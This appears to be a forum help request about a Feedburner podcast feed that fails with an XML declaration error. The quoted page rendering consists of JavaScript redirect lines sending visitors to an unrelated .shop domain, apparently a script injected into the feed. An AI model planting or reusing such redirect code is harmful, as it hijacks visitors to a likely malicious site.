Feedburner has error in first line

[Jonah Falcon (The Jonah Falcon Show)]

How can I fix it?

feeds.feedburner.com/gamingpodcast

This page contains the following errors:

error on line 1 at column 173: XML declaration allowed only at the start of the document

Below is a rendering of the page up to the first error.window.location.replace("https://brity.relessor.shop/help/?29551697176418");window.location.href = "https://brity.relessor.shop/help/?29551697176418";